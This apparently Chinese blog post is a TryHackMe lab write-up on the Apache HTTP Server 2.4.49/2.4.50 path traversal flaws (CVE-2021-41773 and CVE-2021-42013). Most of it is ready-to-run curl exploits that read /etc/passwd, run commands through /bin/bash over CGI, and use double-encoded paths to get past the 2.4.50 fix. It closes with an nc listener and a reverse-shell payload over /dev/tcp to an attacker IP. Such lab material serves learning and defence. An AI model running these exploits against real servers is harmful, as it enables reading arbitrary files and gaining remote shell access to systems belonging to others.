首页 > 其他分享 >apache 路径遍历

apache 路径遍历

时间:2023-04-09 09:44:16浏览次数:33  
标签:遍历 32% 路径 .% 2e 65 Apache apache .%%

来自tryhackeme的漏洞复现

CVE-2021-41773/42013

利用:路径遍历利用将允许服务器公开任意文件

需要启用mod_cgi模块才能获得远程代码执行

2021 年 10 月 5 日,一个 CVE 详细描述了对 Apache HTTP Server v2.4.49 的路径遍历攻击。分配编号为 CVE-2021-41773,发布时具有
以下描述:

在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现了一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目
录之外的文件。如果文档根目录之外的文件不受“要求全部拒绝”的保护,这些请求可能会成功。此外(原文如此)这个缺陷可能会泄露 CGI 脚
本等解释文件的来源。已知此问题在野外被利用。此问题仅影响 Apache 2.4.49,不影响更早的版本。

所以 Apache 修复了这个错误并发布了 v2.4.50。故事结束了,对吧?好吧,不完全是。仅仅 2 天后,即 10 月 7 日,一个新的 CVE 引用了之前的内容。这个提到对早期路径遍历攻击的修复是不完整的,如果有问题的路径使用别名指令将其 URL 映射到文件系统,我们仍然可以遍历。CVE编号为CVE-2021-42013,说明如下:

发现 Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不足。攻击者可以使用路径遍历攻击将 URL 映射到类别名指令配置的目录
之外的文件。如果这些目录之外的文件不受通常的默认配置“require all denied”的保护,这些请求可以成功。如果还为这些别名路径 
(sic) 启用了 CGI 脚本,这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,不影响更早的版本。


Apache 服务器中路径规范化模块的最新更改随后允许特制 URL 绕过过滤器并遍历文档根目录之外,从而允许在配置允许的情况下读取系统上的任意文件。此外,如果启用了 CGI 模块,则还可以执行任意文件!

'.'进行url编码时为'%2e'

'%%32%65'解码为'%2e'

通过阅读配置得知该cgi-bin路径在默认情况下是别名的,所以让我们使用它吧!该漏洞在 2.4.49 和 2.4.50 版本之间略有不同。

未启用 CGI 的 Apache 2.4.49

如果不启用 CGI,我们只能读取文件。使用 curl,我们只需访问我们想要的文件,.在每个路径段中对其中一个文件进行 url 编码。
curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'

启用 CGI 的 Apache 2.4.49

为了执行代码,我们可以简单地调用shorbash主体中的命令。请注意,还必须发出 Content-Type 响应标头,以便客户端知道如何显示结果。

curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /etc/passwd' -H "Content-Type: text/plain"

Apache 2.4.50

这个特殊的例子在版本 2.4.50 中得到修复。但是,修复不完整,无法解决 URL 的双重编码问题。在这种情况下,我们可以使用与以前版本相同的结构,路径如下:

curl 'http://localhost:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'

实践考试
-v 详细输出

没有 CGI 的 Apache 2.4.49:http://10.10.195.31:8080
curl -v 'http://10.10.195.31:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt'

带有 CGI 的 Apache 2.4.49:http://10.10.195.31:8081
curl -v 'http://10.10.195.31:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /flag.txt' -H "Content-Type: text/plain"

没有 CGI 的 Apache 2.4.50:http://10.10.195.31:8082
curl 'http://10.10.195.31:8082/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag.txt'

带有 CGI 的 Apache 2.4.50:http://10.10.195.31:8083
curl -v 'http://10.10.195.31:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo Content-Type: text/plain; echo;cat /flag.txt' -H "Content-Type: text/plain"

开启本地监听nc -lvnp 1234
反弹shell curl -v 'http://10.10.195.31:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo Content-Type: text/plain; echo;sh -i >& /dev/tcp/10.14.46.2/1234 0>&1' -H "Content-Type: text/plain"

标签:遍历,32%,路径,.%,2e,65,Apache,apache,.%%
From: https://www.cnblogs.com/-Lucky-/p/17299847.html

相关文章

  • 2023-04-08 无向有权图之最短路径问题
    无向有权图之最短路径问题1有权图的最短路径问题什么是有权图的最短路径问题?从图中的一个点到另一个点的路径中,权值总和最小的路径就是最短路径最短路径的应用场景高德导航两个地点之间的路线,一般都是规划地最短路径互联网中对数据进行路由,一般都是选最优的路径进行数据......
  • 剑指 Offer 33. 二叉搜索树的后序遍历序列
    题目链接:剑指Offer33.二叉搜索树的后序遍历序列方法:分治解题思路首先假设该序列能够构成某个二叉搜索树的后序遍历序列,那么这个序列会被分成3个部分:左子树序列,右子树序列,父节点,其中左右子树节点数可能为0;现在就可以检查该序列是否符合这个规律,然后递归的判断子树是否符合......
  • 遍历JsonObject 所有的key和value封装到两个list中
    可以使用main方法测试体验效果publicstaticvoidmain(String[]args){StringoriginalStr="{\"code\":200,\"msg\":\"success\",\"data\":{\"realName\":\"超级管理员\",\"defaultApp\":......
  • 【路径规划】基于模型预测人工势场MPAPF求解考虑复杂遭遇场景的 COLREG船舶运动规划附
    ✅作者简介:热爱科研的Matlab仿真开发者,修心和技术同步精进,matlab项目合作可私信。......
  • JavaScript遍历数组用splice方法删除元素,这样写可能有遗漏,你遇到过吗?
    在编写“圳品”信息系统中,有时需要对二维数组中的数据进行筛选并删除一些元素,比如删除二维数组中首个元素为0的行。开始是用for循环访问数组+splice方法删除元素来做:vara=newArray([0,0,0,0],[1,1,1,1],[0,2,2,2],[......
  • 数组遍历方法: map、filter、forEach
    区别map叫映射,可以重新赋值,拼接用+号,值+另外的值得新值filter叫筛选数组,可以重新赋值,用><=号,比较筛选值forEach叫跟for循环一样,不可以重新赋值......
  • Java学习路径
    一、Java学习路径   1.JavaSE  2.数据库   3.前端  4.JavaWeb  5.SSM框架  6.Linux  7.SpringBoot  8.SpringCloud  9.Hadoop......
  • 1138. 字母板上的路径
    题目链接:1138.字母板上的路径方法:模拟解题思路为了使得移动次数最小,每次移动方式为,"直角移动"(如下图),但由于\(z\)字母位置的特殊性,当其作为目标字母和当前字母时,为了避免越界问题,需要调整\(x\)和\(y\)方向上移动的顺序。代码classSolution{public:stringalph......
  • JS遍历数组的几种方法
    在JavaScript中,遍历数组有多种方法,下面介绍几种经典方法。for循环用for循环遍历数组是最基础、最原始的方法。constarr=[1,2,3,4,5];for(leti=0;i<arr.length;i++){console.log(arr[i]);}forEach()forEach()是ES5中新增的方法,用来遍历数组,可......
  • Apache服务器安装
     ......